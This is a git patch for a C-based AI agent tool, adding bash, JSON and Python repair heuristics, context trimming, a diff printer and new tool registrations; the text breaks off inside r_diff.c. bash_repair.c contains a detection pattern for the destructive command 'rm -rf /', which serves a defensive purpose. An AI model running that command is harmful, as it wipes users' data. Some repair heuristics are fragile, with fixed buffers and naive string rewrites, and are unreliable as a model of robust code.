From df124bb10b37e9ae37ebc9ea98e089122f77bfba Mon Sep 17 00:00:00 2001 From: retoor Date: Thu, 29 Jan 2026 00:38:21 +0100 Subject: [PATCH] Update. --- Makefile | 10 +- include/bash_repair.h | 8 + include/context_manager.h | 20 ++ include/json_repair.h | 8 + include/python_repair.h | 8 + include/r_diff.h | 16 ++ src/bash_repair.c | 238 ++++++++++++++++++ src/context_manager.c | 111 +++++++++ src/json_repair.c | 378 ++++++++++++++++++++++++++++ src/python_repair.c | 330 +++++++++++++++++++++++++ src/r_diff.c | 146 +++++++++++ src/tools/tool_automation.c | 171 +++++++++++++ src/tools/tool_code.c | 132 ++++++++++ src/tools/tool_csv.c | 79 ++++++ src/tools/tool_dns.c | 481 ++++++++++++++++++++++++++++++++++++ src/tools/tool_file.c | 34 ++- src/tools/tool_file_edit.c | 256 +++++++++++++++++++ src/tools/tool_indexer.c | 2 + src/tools/tool_json.c | 103 ++++++++ src/tools/tool_network.c | 253 +++++++++++++++++++ src/tools/tool_system.c | 81 ++++++ src/tools/tools_init.c | 24 ++ 22 files changed, 2885 insertions(+), 4 deletions(-) create mode 100644 include/bash_repair.h create mode 100644 include/context_manager.h create mode 100644 include/json_repair.h create mode 100644 include/python_repair.h create mode 100644 include/r_diff.h create mode 100644 src/bash_repair.c create mode 100644 src/context_manager.c create mode 100644 src/json_repair.c create mode 100644 src/python_repair.c create mode 100644 src/r_diff.c create mode 100644 src/tools/tool_automation.c create mode 100644 src/tools/tool_code.c create mode 100644 src/tools/tool_csv.c create mode 100644 src/tools/tool_dns.c create mode 100644 src/tools/tool_file_edit.c create mode 100644 src/tools/tool_json.c create mode 100644 src/tools/tool_network.c create mode 100644 src/tools/tool_system.c diff --git a/Makefile b/Makefile index e5ed484..7469291 100755 --- a/Makefile +++ b/Makefile @@ -18,6 +18,7 @@ SRC_CORE = $(SRCDIR)/r_error.c \ $(SRCDIR)/agent.c \ $(SRCDIR)/bash_executor.c \ $(SRCDIR)/context_manager.c \ + $(SRCDIR)/r_diff.c \ $(SRCDIR)/main.c SRC_TOOLS = $(TOOLSDIR)/tools_init.c \ @@ -26,7 +27,14 @@ SRC_TOOLS = $(TOOLSDIR)/tools_init.c \ $(TOOLSDIR)/tool_db.c \ $(TOOLSDIR)/tool_http.c \ $(TOOLSDIR)/tool_python.c \ - $(TOOLSDIR)/tool_indexer.c + $(TOOLSDIR)/tool_indexer.c \ + $(TOOLSDIR)/tool_code.c \ + $(TOOLSDIR)/tool_file_edit.c \ + $(TOOLSDIR)/tool_system.c \ + $(TOOLSDIR)/tool_network.c \ + $(TOOLSDIR)/tool_dns.c \ + $(TOOLSDIR)/tool_automation.c \ + $(TOOLSDIR)/tool_csv.c SRC = $(SRC_CORE) $(SRC_TOOLS) diff --git a/include/bash_repair.h b/include/bash_repair.h new file mode 100644 index 0000000..3e8d126 --- /dev/null +++ b/include/bash_repair.h @@ -0,0 +1,8 @@ +// retoor + +#ifndef BASH_REPAIR_H +#define BASH_REPAIR_H + +char *bash_repair_command(const char *src); + +#endif diff --git a/include/context_manager.h b/include/context_manager.h new file mode 100644 index 0000000..286f742 --- /dev/null +++ b/include/context_manager.h @@ -0,0 +1,20 @@ +// retoor + +#ifndef R_CONTEXT_MANAGER_H +#define R_CONTEXT_MANAGER_H + +#include "messages.h" +#include "r_error.h" + +/** + * Shrinks the context of the given messages to fit within model limits. + * Uses a smart trimming algorithm: + * 1. Truncates the middle of large messages (preserving start and end). + * 2. Removes oldest conversation pairs (user/assistant) if needed. + * 3. Never touches the 'system' message or the very last user message. + * + * Returns R_SUCCESS if shrinkage was performed, or error if not possible. + */ +r_status_t context_manager_shrink(messages_handle msgs); + +#endif diff --git a/include/json_repair.h b/include/json_repair.h new file mode 100644 index 0000000..d3409d5 --- /dev/null +++ b/include/json_repair.h @@ -0,0 +1,8 @@ +// retoor + +#ifndef JSON_REPAIR_H +#define JSON_REPAIR_H + +char *json_repair_string(const char *src); + +#endif diff --git a/include/python_repair.h b/include/python_repair.h new file mode 100644 index 0000000..3063f4c --- /dev/null +++ b/include/python_repair.h @@ -0,0 +1,8 @@ +// retoor + +#ifndef PYTHON_REPAIR_H +#define PYTHON_REPAIR_H + +char *python_repair_code(const char *src); + +#endif diff --git a/include/r_diff.h b/include/r_diff.h new file mode 100644 index 0000000..f7f4488 --- /dev/null +++ b/include/r_diff.h @@ -0,0 +1,16 @@ +// retoor + +#ifndef R_DIFF_H +#define R_DIFF_H + +/** + * Prints a beautiful, colorized diff between two strings to stderr. + * Mimics the style of 'git diff'. + * + * @param path The path of the file being changed (for the header). + * @param old_content The original content. + * @param new_content The new content. + */ +void r_diff_print(const char *path, const char *old_content, const char *new_content); + +#endif diff --git a/src/bash_repair.c b/src/bash_repair.c new file mode 100644 index 0000000..2e1cb32 --- /dev/null +++ b/src/bash_repair.c @@ -0,0 +1,238 @@ +// retoor + +#include "bash_repair.h" +#include +#include +#include +#include +#include + +static char *ensure_shebang(const char *text) { + if (!text || !*text) return strdup(""); + + // Check if it already has a shebang + const char *p = text; + while (*p && isspace((unsigned char)*p)) p++; + if (strncmp(p, "#!", 2) == 0 || strncmp(p, ": <<", 4) == 0) { + return strdup(text); + } + + // Heuristic: if it has multiple lines, add shebang + if (strchr(text, '\n')) { + char *result = malloc(strlen(text) + 32); + if (!result) return strdup(text); + strcpy(result, "#!/usr/bin/env bash\n"); + strcat(result, text); + return result; + } + + return strdup(text); +} + +static char *normalize_whitespace_and_operators(const char *src) { + if (!src) return NULL; + size_t src_len = strlen(src); + char *result = malloc(src_len * 2 + 1); + if (!result) return NULL; + + char *dst = result; + const char *curr = src; + + while (*curr) { + if (*curr == '\r') { + curr++; + continue; + } + + // Detect operators to normalize spaces around them + const char *ops[] = {"||", "&&", ">>", "|&", "|", ";", ">", "<", NULL}; + bool matched_op = false; + for (int i = 0; ops[i]; i++) { + size_t op_len = strlen(ops[i]); + if (strncmp(curr, ops[i], op_len) == 0) { + // Remove preceding spaces in dst if any + while (dst > result && isspace((unsigned char)*(dst - 1)) && *(dst - 1) != '\n') dst--; + + if (dst > result && *(dst - 1) != '\n') *dst++ = ' '; + memcpy(dst, ops[i], op_len); + dst += op_len; + curr += op_len; + + // Skip following spaces in curr + while (*curr && isspace((unsigned char)*curr) && *curr != '\n') curr++; + if (*curr && *curr != '\n') *dst++ = ' '; + + matched_op = true; + break; + } + } + + if (!matched_op) { + *dst++ = *curr++; + } + } + *dst = '\0'; + + // Second pass to strip trailing spaces on each line + char *s2 = strdup(result); + free(result); + if (!s2) return NULL; + + char *final = malloc(strlen(s2) + 1); + char *f_ptr = final; + char *line = s2; + while (line && *line) { + char *next_line = strchr(line, '\n'); + size_t line_len = next_line ? (size_t)(next_line - line) : strlen(line); + + const char *end = line + line_len - 1; + while (end >= line && isspace((unsigned char)*end)) end--; + + size_t new_len = (size_t)(end - line + 1); + memcpy(f_ptr, line, new_len); + f_ptr += new_len; + if (next_line) { + *f_ptr++ = '\n'; + line = next_line + 1; + } else { + break; + } + } + *f_ptr = '\0'; + free(s2); + return final; +} + +static char *fix_line_issues(const char *src) { + if (!src) return NULL; + size_t src_len = strlen(src); + char *result = malloc(src_len * 2 + 1024); + if (!result) return NULL; + + char *dst = result; + const char *line = src; + + while (line && *line) { + const char *next_line = strchr(line, '\n'); + size_t line_len = next_line ? (size_t)(next_line - line) : strlen(line); + + char line_buf[4096]; + if (line_len >= sizeof(line_buf)) line_len = sizeof(line_buf) - 1; + memcpy(line_buf, line, line_len); + line_buf[line_len] = '\0'; + + // 1. Tiny Shell Lint (else if -> elif) + char *else_if = strstr(line_buf, "else if "); + if (else_if) { + // Very basic replacement + memmove(else_if + 4, else_if + 8, strlen(else_if + 8) + 1); + memcpy(else_if, "elif", 4); + } + + // 2. Fix unbalanced quotes + int single = 0, double_q = 0; + bool escaped = false; + for (size_t i = 0; i < strlen(line_buf); i++) { + if (escaped) { escaped = false; continue; } + if (line_buf[i] == '\\') escaped = true; + else if (line_buf[i] == '\'') single++; + else if (line_buf[i] == '"') double_q++; + } + if (single % 2 == 1 && double_q == 0) strcat(line_buf, "'"); + else if (double_q % 2 == 1 && single == 0) strcat(line_buf, "\""); + + // 3. Fix trailing operators + size_t cur_len = strlen(line_buf); + const char *ops[] = {"||", "&&", ">>", "|&", "|", ">", "<", NULL}; + for (int i = 0; ops[i]; i++) { + size_t op_len = strlen(ops[i]); + if (cur_len >= op_len) { + if (strcmp(line_buf + cur_len - op_len, ops[i]) == 0) { + // Comment it + char temp[4096]; + strcpy(temp, line_buf); + temp[cur_len - op_len] = '\0'; + strcat(temp, "# "); + strcat(temp, ops[i]); + strcpy(line_buf, temp); + break; + } + } + } + + // 4. Dangerous rm -rf check + if (strstr(line_buf, "sudo rm -rf /") || strstr(line_buf, "rm -rf / ")) { + strcpy(dst, "# WARNING: potentially destructive command detected\n"); + dst += strlen(dst); + } + + strcpy(dst, line_buf); + dst += strlen(dst); + if (next_line) *dst++ = '\n'; + + if (next_line) line = next_line + 1; + else break; + } + *dst = '\0'; + return result; +} + +static char *collapse_nested_bash_c(const char *src) { + if (!src) return NULL; + // Pattern: bash -c "bash -c '...'") + // We'll just do a very basic string replacement for common variants + char *s1 = strdup(src); + char *patterns[] = { + "bash -c \"bash -c '", + "bash -c 'bash -c \"", + NULL + }; + + for (int i = 0; patterns[i]; i++) { + char *p; + while ((p = strstr(s1, patterns[i]))) { + // Find closing quotes + char outer = patterns[i][8]; // " or ' + char inner = patterns[i][18]; // ' or " + + char *inner_end = strchr(p + 19, inner); + if (inner_end && *(inner_end + 1) == outer) { + // We can collapse. + // Original: [p]bash -c "bash -c 'cmd'"[end] + // New: [p]bash -c 'cmd'[end] + size_t cmd_len = (size_t)(inner_end - (p + 19)); + char *new_s = malloc(strlen(s1) + 1); + size_t prefix_len = (size_t)(p - s1); + memcpy(new_s, s1, prefix_len); + char *d = new_s + prefix_len; + strcpy(d, "bash -c "); + d += 8; + *d++ = inner; + memcpy(d, p + 19, cmd_len); + d += cmd_len; + *d++ = inner; + strcpy(d, inner_end + 2); + + free(s1); + s1 = new_s; + } else { + break; + } + } + } + return s1; +} + +char *bash_repair_command(const char *src) { + if (!src) return NULL; + + char *s1 = normalize_whitespace_and_operators(src); + char *s2 = fix_line_issues(s1); + free(s1); + char *s3 = collapse_nested_bash_c(s2); + free(s2); + char *s4 = ensure_shebang(s3); + free(s3); + + return s4; +} diff --git a/src/context_manager.c b/src/context_manager.c new file mode 100644 index 0000000..b469c20 --- /dev/null +++ b/src/context_manager.c @@ -0,0 +1,111 @@ +// retoor + +#include "context_manager.h" +#include +#include +#include + +#define TRUNCATE_THRESHOLD 2000 +#define TRUNCATE_KEEP_START 800 +#define TRUNCATE_KEEP_END 800 +#define TRUNCATE_MARKER "\n\n[... content truncated for context management ...]\n\n" + +static bool is_system_message(struct json_object *msg) { + struct json_object *role_obj; + if (json_object_object_get_ex(msg, "role", &role_obj)) { + return strcmp(json_object_get_string(role_obj), "system") == 0; + } + return false; +} + +static r_status_t truncate_middle(messages_handle msgs, int index) { + struct json_object *msg = messages_get_object(msgs, index); + if (!msg) return R_ERROR_NOT_FOUND; + + struct json_object *content_obj; + const char *content = NULL; + bool is_tool_result = false; + + if (json_object_object_get_ex(msg, "content", &content_obj)) { + content = json_object_get_string(content_obj); + } else if (json_object_object_get_ex(msg, "tool_result", &content_obj)) { + content = json_object_get_string(content_obj); + is_tool_result = true; + } + + if (!content) return R_SUCCESS; + + size_t len = strlen(content); + if (len <= TRUNCATE_THRESHOLD) return R_SUCCESS; + + char *new_content = malloc(TRUNCATE_KEEP_START + strlen(TRUNCATE_MARKER) + TRUNCATE_KEEP_END + 1); + if (!new_content) return R_ERROR_OUT_OF_MEMORY; + + strncpy(new_content, content, TRUNCATE_KEEP_START); + new_content[TRUNCATE_KEEP_START] = '\0'; + strcat(new_content, TRUNCATE_MARKER); + strcat(new_content, content + len - TRUNCATE_KEEP_END); + + struct json_object *new_msg = json_object_get(msg); // Increments ref count + if (is_tool_result) { + json_object_object_add(new_msg, "tool_result", json_object_new_string(new_content)); + } else { + json_object_object_add(new_msg, "content", json_object_new_string(new_content)); + } + + free(new_content); + return messages_replace_at(msgs, index, new_msg); +} + +r_status_t context_manager_shrink(messages_handle msgs) { + if (!msgs) return R_ERROR_INVALID_ARG; + + int count = messages_count(msgs); + if (count <= 1) return R_ERROR_API_ERROR; // Cannot shrink further + + fprintf(stderr, " \033[2m-> Context limit reached, compressing history...\033[0m\n"); + + // Phase 1: Truncate large messages in history (middle-cut) + // We skip the last message as it's usually the one we just added or the latest prompt + bool truncated_any = false; + for (int i = 0; i < count - 1; i++) { + struct json_object *msg = messages_get_object(msgs, i); + if (is_system_message(msg)) continue; + + struct json_object *content_obj; + const char *content = NULL; + if (json_object_object_get_ex(msg, "content", &content_obj)) { + content = json_object_get_string(content_obj); + } else if (json_object_object_get_ex(msg, "tool_result", &content_obj)) { + content = json_object_get_string(content_obj); + } + + if (content && strlen(content) > TRUNCATE_THRESHOLD) { + if (truncate_middle(msgs, i) == R_SUCCESS) { + truncated_any = true; + } + } + } + + if (truncated_any) return R_SUCCESS; + + // Phase 2: Historical Eviction (remove oldest non-system pairs) + // We look for the first non-system message + int first_removable = -1; + for (int i = 0; i < count - 1; i++) { + struct json_object *msg = messages_get_object(msgs, i); + if (!is_system_message(msg)) { + first_removable = i; + break; + } + } + + if (first_removable != -1 && first_removable < count - 1) { + // Remove 2 messages to keep user/assistant pairs if possible, + // or just one if it's a tool sequence + int to_remove = (count - first_removable > 2) ? 2 : 1; + return messages_remove_range(msgs, first_removable, to_remove); + } + + return R_ERROR_API_ERROR; +} diff --git a/src/json_repair.c b/src/json_repair.c new file mode 100644 index 0000000..69e81ed --- /dev/null +++ b/src/json_repair.c @@ -0,0 +1,378 @@ +// retoor + +#include "json_repair.h" +#include +#include +#include +#include +#include + +static char *strip_comments(const char *src) { + if (!src) return NULL; + size_t len = strlen(src); + char *result = malloc(len + 1); + if (!result) return NULL; + + char *dst = result; + const char *p = src; + bool in_string = false; + bool escaped = false; + + while (*p) { + if (escaped) { + *dst++ = *p++; + escaped = false; + continue; + } + + if (*p == '\\') { + *dst++ = *p++; + escaped = true; + continue; + } + + if (*p == '"') { + in_string = !in_string; + *dst++ = *p++; + continue; + } + + if (!in_string) { + if (*p == '/' && *(p + 1) == '/') { + while (*p && *p != '\n') p++; + continue; + } + if (*p == '/' && *(p + 1) == '*') { + p += 2; + while (*p && !(*p == '*' && *(p + 1) == '/')) p++; + if (*p) p += 2; + continue; + } + if (*p == '#') { + while (*p && *p != '\n') p++; + continue; + } + } + + *dst++ = *p++; + } + *dst = '\0'; + return result; +} + +static char *normalize_quotes(const char *src) { + if (!src) return NULL; + size_t len = strlen(src); + // Over-allocate because single quotes might be replaced by double quotes + escaping + char *result = malloc(len * 2 + 1); + if (!result) return NULL; + + char *dst = result; + const char *p = src; + bool in_double_string = false; + bool escaped = false; + + while (*p) { + // Smart quote replacement + if ((unsigned char)*p == 0xE2 && (unsigned char)*(p+1) == 0x80) { + if ((unsigned char)*(p+2) == 0x9C || (unsigned char)*(p+2) == 0x9D) { // “ or ” + *dst++ = '"'; + p += 3; + continue; + } + if ((unsigned char)*(p+2) == 0x98 || (unsigned char)*(p+2) == 0x99) { // ‘ or ’ + *dst++ = '\''; + p += 3; + continue; + } + } + + if (escaped) { + *dst++ = *p++; + escaped = false; + continue; + } + + if (*p == '\\') { + *dst++ = *p++; + escaped = true; + continue; + } + + if (*p == '"') { + in_double_string = !in_double_string; + *dst++ = *p++; + continue; + } + + if (!in_double_string && *p == '\'') { + // Heuristic: convert '...' to "..." + *dst++ = '"'; + p++; + while (*p && *p != '\'') { + if (*p == '\\' && *(p+1)) { + *dst++ = *p++; + *dst++ = *p++; + } else if (*p == '"') { + *dst++ = '\\'; + *dst++ = '"'; + p++; + } else { + *dst++ = *p++; + } + } + if (*p == '\'') { + *dst++ = '"'; + p++; + } + continue; + } + + *dst++ = *p++; + } + *dst = '\0'; + return result; +} + +static char *remove_trailing_commas(const char *src) { + if (!src) return NULL; + size_t len = strlen(src); + char *result = malloc(len + 1); + if (!result) return NULL; + + char *dst = result; + const char *p = src; + bool in_string = false; + bool escaped = false; + + while (*p) { + if (escaped) { + *dst++ = *p++; + escaped = false; + continue; + } + if (*p == '\\') { + *dst++ = *p++; + escaped = true; + continue; + } + if (*p == '"') { + in_string = !in_string; + *dst++ = *p++; + continue; + } + + if (!in_string && *p == ',') { + // Check if next non-ws char is ] or } + const char *next = p + 1; + while (*next && isspace((unsigned char)*next)) next++; + if (*next == ']' || *next == '}') { + p = next; // Skip the comma + continue; + } + } + *dst++ = *p++; + } + *dst = '\0'; + return result; +} + +static char *quote_unquoted_keys(const char *src) { + if (!src) return NULL; + size_t len = strlen(src); + char *result = malloc(len * 2 + 1); + if (!result) return NULL; + + char *dst = result; + const char *p = src; + bool in_string = false; + bool escaped = false; + + while (*p) { + if (escaped) { + *dst++ = *p++; + escaped = false; + continue; + } + if (*p == '\\') { + *dst++ = *p++; + escaped = true; + continue; + } + if (*p == '"') { + in_string = !in_string; + *dst++ = *p++; + continue; + } + + if (!in_string && (isalnum((unsigned char)*p) || *p == '_' || *p == '-')) { + // Potential unquoted key? + // A key usually follows '{' or ',' and is followed by ':' + // Heuristic: if we are at start of an identifier, check if it ends with ':' + + // Check backwards for { or , + const char *prev = p - 1; + while (prev >= src && isspace((unsigned char)*prev)) prev--; + + if (prev >= src && (*prev == '{' || *prev == ',')) { + const char *end = p; + while (*end && (isalnum((unsigned char)*end) || *end == '_' || *end == '-')) end++; + const char *after = end; + while (*after && isspace((unsigned char)*after)) after++; + + if (*after == ':') { + // It is an unquoted key! + *dst++ = '"'; + while (p < end) *dst++ = *p++; + *dst++ = '"'; + continue; + } + } + } + *dst++ = *p++; + } + *dst = '\0'; + return result; +} + +static char *balance_brackets(const char *src) { + if (!src) return NULL; + size_t len = strlen(src); + char *result = malloc(len + 1024); + if (!result) return NULL; + + char stack[1024]; + int top = 0; + + char *dst = result; + const char *p = src; + bool in_string = false; + bool escaped = false; + + while (*p) { + if (escaped) { + *dst++ = *p++; + escaped = false; + continue; + } + if (*p == '\\') { + *dst++ = *p++; + escaped = true; + continue; + } + if (*p == '"') { + in_string = !in_string; + *dst++ = *p++; + continue; + } + + if (!in_string) { + if (*p == '{' || *p == '[') { + if (top < 1024) stack[top++] = *p; + } else if (*p == '}' || *p == ']') { + if (top > 0) { + char expected = (*p == '}') ? '{' : '['; + if (stack[top - 1] == expected) { + top--; + } + } else { + // Mismatched closing; skip it + p++; + continue; + } + } + } + *dst++ = *p++; + } + + while (top > 0) { + char opener = stack[--top]; + *dst++ = (opener == '{') ? '}' : ']'; + } + *dst = '\0'; + return result; +} + +static char *compact_json(const char *src) { + if (!src) return NULL; + size_t len = strlen(src); + char *result = malloc(len + 1); + if (!result) return NULL; + + char *dst = result; + const char *p = src; + bool in_string = false; + bool escaped = false; + + while (*p) { + if (escaped) { + *dst++ = *p++; + escaped = false; + continue; + } + if (*p == '\\') { + *dst++ = *p++; + escaped = true; + continue; + } + if (*p == '"') { + in_string = !in_string; + *dst++ = *p++; + continue; + } + + if (!in_string && isspace((unsigned char)*p)) { + p++; + continue; + } + *dst++ = *p++; + } + *dst = '\0'; + return result; +} + +char *json_repair_string(const char *src) { + if (!src) return NULL; + + // Find the first occurrence of { or [ + const char *start_ptr = src; + while (*start_ptr && *start_ptr != '{' && *start_ptr != '[') start_ptr++; + if (!*start_ptr) return strdup(src); // No JSON structure found, return as is + + char *s1 = strip_comments(start_ptr); + char *s2 = normalize_quotes(s1); + free(s1); + char *s3 = quote_unquoted_keys(s2); + free(s2); + char *s4 = remove_trailing_commas(s3); + free(s3); + char *s5 = balance_brackets(s4); + free(s4); + + // Heuristic: truncate after the first complete object/array + int depth = 0; + bool in_str = false; + bool esc = false; + char *p = s5; + while (*p) { + if (esc) { esc = false; } + else if (*p == '\\') { esc = true; } + else if (*p == '"') { in_str = !in_str; } + else if (!in_str) { + if (*p == '{' || *p == '[') depth++; + else if (*p == '}' || *p == ']') { + depth--; + if (depth == 0) { + *(p + 1) = '\0'; + break; + } + } + } + p++; + } + + char *s6 = compact_json(s5); + free(s5); + + return s6; +} diff --git a/src/python_repair.c b/src/python_repair.c new file mode 100644 index 0000000..9a9429b --- /dev/null +++ b/src/python_repair.c @@ -0,0 +1,330 @@ +// retoor + +#include "python_repair.h" +#include +#include +#include +#include +#include +#include + +#define INDENT_WIDTH 4 + +static char *dedent_code(const char *src) { + if (!src || !*src) return strdup(""); + + int min_indent = -1; + const char *line = src; + while (line && *line) { + int indent = 0; + while (line[indent] == ' ' || line[indent] == '\t') indent++; + + if (line[indent] != '\n' && line[indent] != '\0') { + if (min_indent == -1 || indent < min_indent) min_indent = indent; + } + + line = strchr(line, '\n'); + if (line) line++; + } + + if (min_indent <= 0) return strdup(src); + + size_t src_len = strlen(src); + char *result = malloc(src_len + 1); + if (!result) return strdup(src); + + char *dst = result; + const char *curr = src; + while (curr && *curr) { + int to_skip = min_indent; + while (to_skip > 0 && (*curr == ' ' || *curr == '\t')) { + curr++; + to_skip--; + } + + const char *next_line = strchr(curr, '\n'); + if (next_line) { + size_t line_len = (size_t)(next_line - curr + 1); + memcpy(dst, curr, line_len); + dst += line_len; + curr = next_line + 1; + } else { + strcpy(dst, curr); + break; + } + } + *dst = '\0'; + return result; +} + +static char *normalize_indentation(const char *src) { + if (!src) return NULL; + size_t src_len = strlen(src); + char *result = malloc(src_len * 2 + 1); // Extra space for normalized indents + if (!result) return NULL; + + char *dst = result; + const char *line = src; + while (line && *line) { + const char *next_line = strchr(line, '\n'); + size_t line_len = next_line ? (size_t)(next_line - line) : strlen(line); + + // Check if line is empty or just whitespace + bool is_empty = true; + for (size_t i = 0; i < line_len; i++) { + if (!isspace((unsigned char)line[i])) { + is_empty = false; + break; + } + } + + if (is_empty) { + if (next_line) { + *dst++ = '\n'; + line = next_line + 1; + } else { + break; + } + continue; + } + + // Calculate current leading indent + int leading_spaces = 0; + const char *content_ptr = line; + while (content_ptr < (line + line_len) && (*content_ptr == ' ' || *content_ptr == '\t')) { + if (*content_ptr == '\t') { + leading_spaces += INDENT_WIDTH; + } else { + leading_spaces++; + } + content_ptr++; + } + + // Round to nearest INDENT_WIDTH + int normalized_level = (leading_spaces + INDENT_WIDTH / 2) / INDENT_WIDTH; + int target_spaces = normalized_level * INDENT_WIDTH; + + for (int i = 0; i < target_spaces; i++) *dst++ = ' '; + + size_t content_len = (size_t)((line + line_len) - content_ptr); + memcpy(dst, content_ptr, content_len); + dst += content_len; + + if (next_line) { + *dst++ = '\n'; + line = next_line + 1; + } else { + break; + } + } + *dst = '\0'; + return result; +} + +static char *repair_strings_and_brackets(const char *src) { + if (!src) return NULL; + size_t src_len = strlen(src); + char *result = malloc(src_len + 2048); // Buffer for extra quotes/brackets + if (!result) return NULL; + + char *dst = result; + const char *p = src; + + char bracket_stack[1024]; + int stack_ptr = 0; + + bool in_string = false; + char string_quote = 0; + int quote_type = 0; // 1 for single, 3 for triple + bool escaped = false; + + while (*p) { + char ch = *p; + + if (!in_string) { + if (ch == '#') { + // Comment, copy until newline + while (*p && *p != '\n') *dst++ = *p++; + continue; + } + if (ch == '\'' || ch == '"') { + string_quote = ch; + if (strncmp(p, "'''", 3) == 0 || strncmp(p, "\"\"\"", 3) == 0) { + quote_type = 3; + in_string = true; + *dst++ = *p++; *dst++ = *p++; *dst++ = *p++; + continue; + } else { + quote_type = 1; + in_string = true; + *dst++ = *p++; + continue; + } + } else if (ch == '(' || ch == '[' || ch == '{') { + if (stack_ptr < 1024) bracket_stack[stack_ptr++] = ch; + } else if (ch == ')' || ch == ']' || ch == '}') { + char expected = 0; + if (ch == ')') expected = '('; + else if (ch == ']') expected = '['; + else if (ch == '}') expected = '{'; + + if (stack_ptr > 0 && bracket_stack[stack_ptr - 1] == expected) { + stack_ptr--; + } else { + // Mismatched closing; skip it to prevent syntax errors + p++; + continue; + } + } + } else { + if (escaped) { + escaped = false; + } else if (ch == '\\') { + escaped = true; + } else if (ch == string_quote) { + if (quote_type == 3) { + if (strncmp(p, "'''", 3) == 0 && string_quote == '\'') { + in_string = false; + *dst++ = *p++; *dst++ = *p++; *dst++ = *p++; + continue; + } else if (strncmp(p, "\"\"\"", 3) == 0 && string_quote == '"') { + in_string = false; + *dst++ = *p++; *dst++ = *p++; *dst++ = *p++; + continue; + } + } else { + in_string = false; + } + } + } + *dst++ = *p++; + } + + if (in_string) { + if (quote_type == 3) { + *dst++ = string_quote; *dst++ = string_quote; *dst++ = string_quote; + } else { + *dst++ = string_quote; + } + } + + // Balance brackets + while (stack_ptr > 0) { + char opener = bracket_stack[--stack_ptr]; + if (opener == '(') *dst++ = ')'; + else if (opener == '[') *dst++ = ']'; + else if (opener == '{') *dst++ = '}'; + } + + *dst = '\0'; + return result; +} + +static char *add_missing_passes(const char *src) { + if (!src) return NULL; + size_t src_len = strlen(src); + char *result = malloc(src_len * 2 + 1); + if (!result) return NULL; + + char *dst = result; + const char *line = src; + + while (line && *line) { + const char *next_line = strchr(line, '\n'); + size_t line_len = next_line ? (size_t)(next_line - line) : strlen(line); + + // Copy current line + memcpy(dst, line, line_len); + dst += line_len; + if (next_line) *dst++ = '\n'; + + // Check if line ends with ':' (ignoring comments/whitespace) + const char *p = line + line_len - 1; + while (p >= line && isspace((unsigned char)*p)) p--; + + if (p >= line && *p == ':') { + // Heuristic: check if next non-empty line is more indented + const char *lookahead = next_line ? next_line + 1 : NULL; + bool needs_pass = true; + + while (lookahead && *lookahead) { + // Skip empty/whitespace lines + const char *next_next = strchr(lookahead, '\n'); + size_t look_len = next_next ? (size_t)(next_next - lookahead) : strlen(lookahead); + + bool empty = true; + for (size_t i = 0; i < look_len; i++) { + if (!isspace((unsigned char)lookahead[i])) { + empty = false; + break; + } + } + + if (!empty) { + // Check indent of this non-empty line + int current_indent = 0; + const char *line_p = line; + while (line_p < (line + line_len) && (*line_p == ' ' || *line_p == '\t')) { + if (*line_p == '\t') current_indent += INDENT_WIDTH; + else current_indent++; + line_p++; + } + + int line_look_indent = 0; + const char *look_p = lookahead; + while (look_p < (lookahead + look_len) && (*look_p == ' ' || *look_p == '\t')) { + if (*look_p == '\t') line_look_indent += INDENT_WIDTH; + else line_look_indent++; + look_p++; + } + + if (line_look_indent > current_indent) { + needs_pass = false; + } + break; + } + + if (next_next) lookahead = next_next + 1; + else break; + } + + if (needs_pass) { + // Find current indent to place 'pass' correctly + int current_indent = 0; + const char *line_p = line; + while (line_p < (line + line_len) && (*line_p == ' ' || *line_p == '\t')) { + if (*line_p == '\t') current_indent += INDENT_WIDTH; + else current_indent++; + line_p++; + } + + int target_indent = current_indent + INDENT_WIDTH; + for (int i = 0; i < target_indent; i++) *dst++ = ' '; + memcpy(dst, "pass\n", 5); + dst += 5; + } + } + + if (next_line) line = next_line + 1; + else break; + } + + *dst = '\0'; + return result; +} + +char *python_repair_code(const char *src) { + if (!src) return NULL; + + char *s1 = dedent_code(src); + char *s2 = normalize_indentation(s1); + free(s1); + + char *s3 = repair_strings_and_brackets(s2); + free(s2); + + char *s4 = add_missing_passes(s3); + free(s3); + + return s4; +} diff --git a/src/r_diff.c b/src/r_diff.c new file mode 100644 index 0000000..1419937 --- /dev/null +++ b/src/r_diff.c @@ -0,0 +1,146 @@ +// retoor + +#include "r_diff.h" +#include +#include +#include +#include +#include + +#define COLOR_RED "\x1b[31m" +#define COLOR_GREEN "\x1b[32m" +#define COLOR_CYAN "\x1b[36m" +#define COLOR_RESET "\x1b[0m" +#define COLOR_DIM "\x1b[2m" +#define COLOR_BG_RED "\x1b[41;37m" +#define COLOR_BG_GREEN "\x1b[42;30m" + +typedef struct { + char **lines; + size_t count; +} line_set_t; + +static line_set_t split_lines(const char *str) { + line_set_t set = {NULL, 0}; + if (!str || !*str) return set; + + char *copy = strdup(str); + char *p = copy; + char *line_start = copy; + + while (*p) { + if (*p == '\n') { + *p = '\0'; + set.lines = realloc(set.lines, sizeof(char *) * (set.count + 1)); + set.lines[set.count++] = strdup(line_start); + line_start = p + 1; + } + p++; + } + // Handle last line if no trailing newline + if (*line_start) { + set.lines = realloc(set.lines, sizeof(char *) * (set.count + 1)); + set.lines[set.count++] = strdup(line_start); + } + + free(copy); + return set; +} + +static void free_line_set(line_set_t set) { + for (size_t i = 0; i < set.count; i++) free(set.lines[i]); + free(set.lines); +} + +static void print_truncated(const char *str, int width, const char *color) { + if (width <= 0) return; + int len = (int)strlen(str); + if (color) printf("%s", color); + + if (len > width && width > 3) { + char *temp = strndup(str, (size_t)width - 3); + printf("%s...", temp); + free(temp); + } else { + printf("%-*.*s", width, width, str); + } + + if (color) printf("%s", COLOR_RESET); +} + +void r_diff_print(const char *path, const char *old_content, const char *new_content) { + line_set_t old_set = split_lines(old_content); + line_set_t new_set = split_lines(new_content); + + struct winsize w; + ioctl(STDOUT_FILENO, TIOCGWINSZ, &w); + int term_width = w.ws_col > 0 ? w.ws_col : 120; + if (term_width < 40) term_width = 40; // Minimum usable width + int col_width = (term_width - 15) / 2; + if (col_width < 5) col_width = 5; + + printf("\n%s %s CHANGES: %s %s\n", COLOR_CYAN, COLOR_DIM, path, COLOR_RESET); + printf("%4s %-*s | %4s %-*s\n", "LINE", col_width, " OLD", "LINE", col_width, " NEW"); + printf("%.*s\n", term_width, "--------------------------------------------------------------------------------------------------------------------------------------------"); + + size_t o = 0, n = 0; + while (o < old_set.count || n < new_set.count) { + bool match = false; + if (o < old_set.count && n < new_set.count) { + if (strcmp(old_set.lines[o], new_set.lines[n]) == 0) { + printf("%4zu ", o + 1); + 